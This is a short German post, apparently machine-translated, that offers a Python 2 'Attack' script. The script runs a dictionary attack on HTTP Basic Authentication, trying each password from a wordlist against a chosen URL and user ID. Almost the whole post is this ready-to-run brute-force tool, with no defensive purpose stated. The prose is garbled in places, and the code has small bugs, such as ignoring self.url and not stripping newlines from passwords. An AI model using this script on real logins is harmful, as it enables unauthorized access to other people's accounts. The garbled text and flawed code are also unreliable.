Für die Standardauthentifizierung müssen Sie nicht zwangsläufig eine grafische Benutzeroberfläche bedienen. In urllib2 gibt es eine Klasse, die normalerweise die Standardauthentifizierung durchführt. Die Standardauthentifizierung kann ein Round-Robin-Angriff oder ein Wörterbuchangriff sein, sofern Sie die ID kennen. Es ist eine sehr aggressive Technik, aber wenn Sie Glück oder Glück haben, können Sie das Passwort finden.
python
import urllib2, sys, time
class Attack:
def __init__(self, url, userid, dictionary_file):
self.url = url
self.userid = userid
self.password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
self.dictionary_file = dictionary_file
def main(self):
with open(self.dictionary_file, "r") as f:
print "[INFO]: Loading..."
lines = f.readlines()
for password in lines:
try:
self.password_mgr.add_password(None, url, self.userid, password)
handler = urllib2.HTTPBasicAuthHandler(self.password_mgr)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)
html = urllib2.urlopen(url)
print "[yes]: password=%s" % (password)
break
except Exception, e:
print "[no]: password=%s" % (password)
if __name__ == "__main__":
url = raw_input("Url >>> ")
userid = raw_input("Userid >>> ")
dictionary_file = raw_input("Dictionary file >>> ")
Attack_ = Attack(url, userid, dictionary_file)
Attack_.main()
Recommended Posts